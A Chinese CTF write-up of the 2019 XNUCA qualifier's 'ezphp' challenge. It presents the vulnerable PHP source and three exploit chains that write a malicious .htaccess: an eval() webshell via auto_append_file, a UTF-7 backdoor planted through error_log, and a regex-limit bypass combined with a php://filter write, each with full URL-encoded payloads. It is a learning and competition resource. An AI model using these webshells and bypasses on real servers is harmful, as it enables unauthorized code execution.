2019 XNUCA 线上预选赛 部分题解

我太南了,我也想去深大打线下。

ezphp

源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

一个file_put_contents()函数来写入文件,但过滤了内容和文件名,内容不许含有on、html、type、flag、upload、file等关键词,文件名只许由字母和点组成。

尝试直接写入🐎,但是php不解析,猜测应该是在Apache的配置文件中做了限制,也无法覆盖index.php,猜测是由于其为root权限,思来想去,切入点应该是在.htaccess写🐎,可以使用\转义换行符连接上下文注释掉Just one chance,同时绕过过滤。

于是达成了非预期解。

1
2
3
php_value auto_append_fi\
le .htaccess
#<?php eval($_POST["south"]); ?>\

Payload如下。

1
2
/?filename=.htaccess&content=php_value%20auto_append_fi%5C%0Ale%20.htaccess%0A%23%3C%3Fphp%20eval(%24_POST%5B%22south%22%5D)%3B%20%3F%3E%5C
/?filename=.htaccess&content=php_value%20auto_append_fi%5C%0Ale%20.htaccess%0A%23%3C%3Fphp%20phpinfo()%3B%20%3F%3E%5C

预期解

利用文件包含

代码中存在一个include_once("fl3g.php");,因此可以配置PHP配置文件中的include_path来设置include文件根目录路径。

报错写入后门

PHP配置文件中有一项配置error_log可以将指定的报错信息写入指定文件,而写入的内容则同样可以通过控制include_path的值来控制,此处可以将值设为后门代码。

同时有一点比较常见的即是写入log的文件会被HTML编码,此时可以使用UTF-7编码绕过。

以及有一个配置error_reporting用来指定报错级别,32767意味着记录全部报错信息。

这一步先生成后门文件,设置了error_log路径和error_reporting级别,将后门代码进行UTF-7编码作为不存在的文件名写入log

1
2
3
4
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \

Payload如下。

1
/?filename=.htaccess&content=php_value%20error_log%20%2Ftmp%2Ffl3g.php%0Aphp_value%20error_reporting%2032767%0Aphp_value%20include_path%20%22%2BADw%3Fphp%20eval(%24_GET%5B1%5D)%2BADs%20%2BAF8AXw-halt%2BAF8-compiler()%2BADs%22%0A%23%20%5C

然后再次写入正确的include_path,即上一个Payload以后门代码作为文件名报错生成的后门路径,同时设置解码方式为UTF-7

1
2
3
4
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

Payload如下。

1
/?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%22%0Aphp_value%20zend.multibyte%201%0Aphp_value%20zend.script_encoding%20%22UTF-7%22%0A%23%20%5C

另一个非预期

ROIS的解法。

对于此处\(content**的过滤,最简单的方法便是编码绕过,同时**\)filename可控,即可以使用php://filter伪协议对其写入。

而对此的preg_match()函数的检测,结合PHITHON师傅的一篇PHP利用PCRE回溯次数限制绕过某些安全限制,对.htaccess配置pcre.backtrack_limit0绕过,同时由于PHP7的环境,需要再配置pcre.jit0

1
2
3
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
#aa\

Payload如下。

1
/?content=php_value%20pcre.backtrack_limit%200%0a%0dphp_value%20pcre.jit%200%0a%0d%0a%0d%23aa\&filename=.htaccess

然后preg_match()失效,此时再使用伪协议来写入文件。

1
2
3
4
5
6
7
8
php_value pcre.backtrack_limit    0

php_value auto_append_file ".htaccess"

php_value pcre.jit 0


#aa<?php eval($_GET['a']);?>\

Payload如下。

1
/?a=system('cat ../../../flag');exit;&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKDXBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCg1waHBfdmFsdWUgcGNyZS5qaXQgICAwCg0KDSNhYTw/cGhwIGV2YWwoJF9HRVRbJ2EnXSk7Pz5c<<&filename=php://filter/write=convert.base64-decode/resource=.htaccess

HardJS